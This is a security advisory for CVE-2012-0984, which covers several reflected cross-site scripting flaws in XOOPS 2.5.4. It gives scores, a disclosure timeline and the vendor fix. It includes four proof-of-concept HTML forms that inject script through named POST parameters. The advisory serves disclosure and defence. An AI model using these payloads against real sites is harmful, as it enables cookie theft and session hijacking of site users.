XOOPS 2.5.4 Cross Site Scripting

2012.04.19
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Advisory ID: HTB23062 Product: XOOPS Vendor: xoops.org Vulnerable Version(s): 2.5.4 and probably prior Tested Version: 2.5.4 Vendor Notification: 7 December 2011 Vendor Patch: 22 February 2012 Public Disclosure: 18 April 2012 Vulnerability Type: XSS (Cross Site Scripting) CVE Reference(s): CVE-2012-0984 Solution Status: Fixed by Vendor Risk Level: Medium Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in XOOPS, which can be exploited to perform Cross-Site Scripting (XSS) attacks. 1) Multiple Cross-Site Scripting (XSS) in XOOPS: CVE-2012-0984 1.1 Input passed via the "to_userid" POST parameter to /modules/pm/pmlite.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: <form action='http://[host]/modules/pm/pmlite.php' method="post"> <input type="hidden" name="sendmod" value='1'> <input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'> <input type="submit" value="submit" id="btn"> </form> 1.2 Input passed via the "current_file" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: <form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php?target=1" method="post"> <input type="hidden" name="isadmin" value='1'> <input type="hidden" name="catreadcount" value='1'> <input type="hidden" name="catwritecount" value='1'> <input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'> <input type="submit" value="submit" id="btn"> </form> 1.3 Input passed via the "imgcat_id" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: <form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php?target=1" method="post"> <input type="hidden" name="isadmin" value='1'> <input type="hidden" name="catreadcount" value='1'> <input type="hidden" name="catwritecount" value='1'> <input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'> <input type="hidden" name="op" value='editcat'> <input type="submit" value="submit" id="btn"> </form> 1.4 Input passed via the "target" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: <form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php" method="post"> <input type="hidden" name="isadmin" value='1'> <input type="hidden" name="catreadcount" value='1'> <input type="hidden" name="catwritecount" value='1'> <input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'> <input type="submit" value="submit" id="btn"> </form> ----------------------------------------------------------------------------------------------- Solution: Upgrade to XOOPS 2.5.5 Final. More information: http://xoops.org/modules/news/article.php?storyid=6284 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23062 - https://www.htbridge.com/advisory/HTB23062 - Multiple XSS vulnerabilities in XOOPS. [2] XOOPS - http://www.xoops.org/ - XOOPS is a web application platform written in PHP for the MySQL database. Its object orientation makes it an ideal tool for developing small or large community websites, intra company and corporate portals, weblogs and much more. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVEŸ is a dictionary of publicly known information security vulnerabilities and exposures.

References:

https://www.htbridge.com/advisory/HTB23062
http://www.xoops.org/


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